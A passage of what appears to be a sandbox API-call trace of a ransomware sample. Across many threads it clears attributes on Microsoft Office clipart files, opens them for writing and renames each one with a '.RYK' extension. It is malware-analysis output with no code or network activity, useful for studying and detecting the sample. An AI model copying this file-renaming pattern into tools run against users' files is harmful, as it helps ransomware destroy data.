	os_tid = 0x2de8

	[0245.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID", dwFileAttributes=0x80) returned 0
	[0245.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2566
	os_tid = 0x2dec

	[0245.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID", dwFileAttributes=0x80) returned 0
	[0245.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.072] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2567
	os_tid = 0x2df0

	[0245.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID", dwFileAttributes=0x80) returned 0
	[0245.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.071] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.071] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2568
	os_tid = 0x2df4

	[0245.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID", dwFileAttributes=0x80) returned 0
	[0245.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.069] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2569
	os_tid = 0x2df8

	[0245.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID", dwFileAttributes=0x80) returned 0
	[0245.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.068] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2570
	os_tid = 0x2dfc

	[0245.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID", dwFileAttributes=0x80) returned 0
	[0245.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.067] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.067] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2571
	os_tid = 0x2e00

	[0245.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID", dwFileAttributes=0x80) returned 0
	[0245.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.065] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2572
	os_tid = 0x2e04

	[0245.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF", dwFileAttributes=0x80) returned 0
	[0245.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.541] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2573
	os_tid = 0x2e08

	[0245.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF", dwFileAttributes=0x80) returned 0
	[0245.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.543] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2574
	os_tid = 0x2e0c

	[0245.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF", dwFileAttributes=0x80) returned 0
	[0245.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.064] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2575
	os_tid = 0x2e10

	[0245.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF", dwFileAttributes=0x80) returned 0
	[0245.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.854] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2576
	os_tid = 0x2e14

	[0245.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF", dwFileAttributes=0x80) returned 0
	[0245.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.547] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.547] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2577
	os_tid = 0x2e18

	[0245.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF", dwFileAttributes=0x80) returned 0
	[0245.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.856] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2581
	os_tid = 0x2e28

	[0245.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF", dwFileAttributes=0x80) returned 0
	[0245.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.858] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.858] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2582
	os_tid = 0x2e2c

	[0245.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF", dwFileAttributes=0x80) returned 0
	[0246.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.153] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.153] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2583
	os_tid = 0x2e30

	[0245.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF", dwFileAttributes=0x80) returned 0
	[0246.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.152] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.152] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2584
	os_tid = 0x2e34

	[0245.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF", dwFileAttributes=0x80) returned 0
	[0246.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.150] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2585
	os_tid = 0x2e38

	[0245.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF", dwFileAttributes=0x80) returned 0
	[0246.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.098] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2586
	os_tid = 0x2e3c

	[0245.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF", dwFileAttributes=0x80) returned 0
	[0246.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.172] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.172] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2587
	os_tid = 0x2e40

	[0245.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF", dwFileAttributes=0x80) returned 0
	[0246.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.156] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2588
	os_tid = 0x2e44

	[0245.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF", dwFileAttributes=0x80) returned 0
	[0246.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.155] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.155] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2589
	os_tid = 0x2e48

	[0245.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF", dwFileAttributes=0x80) returned 0
	[0246.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.170] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2590
	os_tid = 0x2e4c

	[0245.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF", dwFileAttributes=0x80) returned 0
	[0246.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.154] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2591
	os_tid = 0x2e50

	[0245.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF", dwFileAttributes=0x80) returned 0
	[0246.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.169] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2592
	os_tid = 0x2e54

	[0246.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF", dwFileAttributes=0x80) returned 0
	[0246.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.168] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2599
	os_tid = 0x2e78

	[0246.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF", dwFileAttributes=0x80) returned 0
	[0246.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.279] CloseHandle (hObject=0xffffffffffffffff) returned 0
